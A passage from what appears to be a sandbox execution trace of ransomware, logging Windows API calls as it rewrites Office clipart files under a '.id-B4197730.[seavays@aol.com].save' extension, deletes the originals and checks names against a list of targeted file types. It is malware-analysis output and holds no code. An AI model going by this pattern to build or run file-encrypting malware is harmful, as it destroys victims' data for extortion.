dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.952] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0063.952] GetLastError () returned 0x0 [0063.952] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0063.954] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0063.955] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.955] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.955] SetEndOfFile (hFile=0x368) returned 1 [0063.955] CloseHandle (hObject=0x368) returned 1 [0063.956] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.956] SetEndOfFile (hFile=0x38c) returned 1 [0063.957] CloseHandle (hObject=0x38c) returned 1 [0063.957] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.958] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1 [0063.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0063.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0063.958] lstrlenW (lpString=".doc") returned 4 [0063.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.958] lstrlenW (lpString=".docx") returned 5 [0063.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.958] lstrlenW (lpString=".pdf") returned 4 [0063.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.958] lstrlenW (lpString=".xls") returned 4 [0063.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.958] lstrlenW (lpString=".xlsx") returned 5 [0063.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.958] lstrlenW (lpString=".ppt") returned 4 [0063.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0063.958] lstrlenW (lpString=".zip") returned 4 [0063.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.958] lstrlenW (lpString=".rar") returned 4 [0063.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.958] lstrlenW (lpString=".bz2") returned 4 [0063.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.959] lstrlenW (lpString=".7z") returned 3 [0063.959] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0063.959] lstrlenW (lpString=".dbf") returned 4 [0063.959] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0063.959] lstrlenW (lpString=".1cd") returned 4 [0063.959] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0063.959] lstrlenW (lpString=".jpg") returned 4 [0063.959] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0063.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0063.959] lstrlenW (lpString=".doc") returned 4 [0063.959] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.959] lstrlenW (lpString=".docx") returned 5 [0063.959] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.959] lstrlenW (lpString=".pdf") returned 4 [0063.959] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.959] lstrlenW (lpString=".xls") returned 4 [0063.959] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.959] lstrlenW (lpString=".xlsx") returned 5 [0063.959] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.959] lstrlenW (lpString=".ppt") returned 4 [0063.959] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.959] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0063.959] lstrlenW (lpString=".zip") returned 4 [0063.959] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.959] lstrlenW (lpString=".rar") returned 4 [0063.960] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.960] lstrlenW (lpString=".bz2") returned 4 [0063.960] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.960] lstrlenW (lpString=".7z") returned 3 [0063.960] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0063.960] lstrlenW (lpString=".dbf") returned 4 [0063.960] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0063.960] lstrlenW (lpString=".1cd") returned 4 [0063.960] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68 [0063.960] lstrlenW (lpString=".jpg") returned 4 [0063.960] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.960] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.960] lstrlenW (lpString="AN04269_.WMF") returned 12 [0063.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.960] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=2016) returned 1 [0063.961] CloseHandle (hObject=0x38c) returned 1 [0063.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 0x220 [0063.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0063.961] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.961] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0063.961] GetLastError () returned 0x0 [0063.961] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x7e0, lpOverlapped=0x0) returned 1 [0064.349] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0064.478] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.478] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.478] SetEndOfFile (hFile=0x368) returned 1 [0064.478] CloseHandle (hObject=0x368) returned 1 [0064.479] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.479] SetEndOfFile (hFile=0x38c) returned 1 [0064.480] CloseHandle (hObject=0x38c) returned 1 [0064.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.480] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04269_.wmf")) returned 1 [0064.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0064.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0064.480] lstrlenW (lpString=".doc") returned 4 [0064.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.481] lstrlenW (lpString=".docx") returned 5 [0064.481] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.481] lstrlenW (lpString=".pdf") returned 4 [0064.481] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.481] lstrlenW (lpString=".xls") returned 4 [0064.481] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.481] lstrlenW (lpString=".xlsx") returned 5 [0064.481] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.481] lstrlenW (lpString=".ppt") returned 4 [0064.481] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0064.481] lstrlenW (lpString=".zip") returned 4 [0064.481] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.481] lstrlenW (lpString=".rar") returned 4 [0064.481] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.481] lstrlenW (lpString=".bz2") returned 4 [0064.481] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.481] lstrlenW (lpString=".7z") returned 3 [0064.481] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0064.481] lstrlenW (lpString=".dbf") returned 4 [0064.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0064.481] lstrlenW (lpString=".1cd") returned 4 [0064.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0064.481] lstrlenW (lpString=".jpg") returned 4 [0064.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0064.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0064.481] lstrlenW (lpString=".doc") returned 4 [0064.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.482] lstrlenW (lpString=".docx") returned 5 [0064.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.482] lstrlenW (lpString=".pdf") returned 4 [0064.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.482] lstrlenW (lpString=".xls") returned 4 [0064.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.482] lstrlenW (lpString=".xlsx") returned 5 [0064.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.482] lstrlenW (lpString=".ppt") returned 4 [0064.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0064.482] lstrlenW (lpString=".zip") returned 4 [0064.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.482] lstrlenW (lpString=".rar") returned 4 [0064.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.482] lstrlenW (lpString=".bz2") returned 4 [0064.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.482] lstrlenW (lpString=".7z") returned 3 [0064.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0064.482] lstrlenW (lpString=".dbf") returned 4 [0064.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0064.482] lstrlenW (lpString=".1cd") returned 4 [0064.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04269_.WMF") returned 68 [0064.482] lstrlenW (lpString=".jpg") returned 4 [0064.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.483] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.483] lstrlenW (lpString="AN04385_.WMF") returned 12 [0064.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0064.483] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=5004) returned 1 [0064.483] CloseHandle (hObject=0x38c) returned 1 [0064.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0064.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0064.483] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.483] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0064.484] GetLastError () returned 0x0 [0064.484] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x138c, lpOverlapped=0x0) returned 1 [0064.485] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x1390, lpOverlapped=0x0) returned 1 [0064.486] ReadFile (in: hFile=0x38c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.486] WriteFile (in: hFile=0x368, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0064.486] SetEndOfFile (hFile=0x368) returned 1 [0064.487] CloseHandle (hObject=0x368) returned 1 [0064.488] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.488] SetEndOfFile (hFile=0x38c) returned 1 [0064.489] CloseHandle (hObject=0x38c) returned 1 [0064.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0064.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0064.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0064.490] lstrlenW (lpString=".doc") returned 4 [0064.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.490] lstrlenW (lpString=".docx") returned 5 [0064.490] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.490] lstrlenW (lpString=".pdf") returned 4 [0064.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.490] lstrlenW (lpString=".xls") returned 4 [0064.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.490] lstrlenW (lpString=".xlsx") returned 5 [0064.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.490] lstrlenW (lpString=".ppt") returned 4 [0064.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0064.490] lstrlenW (lpString=".zip") returned 4 [0064.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.490] lstrlenW (lpString=".rar") returned 4 [0064.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.490] lstrlenW (lpString=".bz2") returned 4 [0064.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.490] lstrlenW (lpString=".7z") returned 3 [0064.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0064.490] lstrlenW (lpString=".dbf") returned 4 [0064.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0064.490] lstrlenW (lpString=".1cd") returned 4 [0064.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0064.490] lstrlenW (lpString=".jpg") returned 4 [0064.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0064.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0064.491] lstrlenW (lpString=".doc") returned 4 [0064.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.491] lstrlenW (lpString=".docx") returned 5 [0064.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.491] lstrlenW (lpString=".pdf") returned 4 [0064.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.491] lstrlenW (lpString=".xls") returned 4 [0064.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.491] lstrlenW (lpString=".xlsx") returned 5 [0064.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.491] lstrlenW (lpString=".ppt") returned 4 [0064.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0064.491] lstrlenW (lpString=".zip") returned 4 [0064.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.491] lstrlenW (lpString=".rar") returned 4 [0064.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.491] lstrlenW (lpString=".bz2") returned 4 [0064.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.491] lstrlenW (lpString=".7z") returned 3 [0064.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0064.491] lstrlenW (lpString=".dbf") returned 4 [0064.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0064.491] lstrlenW (lpString=".1cd") returned 4 [0064.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0064.491] lstrlenW (lpString=".jpg") returned 4 [0064.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.492] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.492] lstrlenW (lpString="BD00116_.WMF") returned 12 [0064.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0064.492] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=4870) returned 1 [0064.493] CloseHandle (hObject=0x38c) returned 1 [0064.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0064.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0064.493] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.493] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 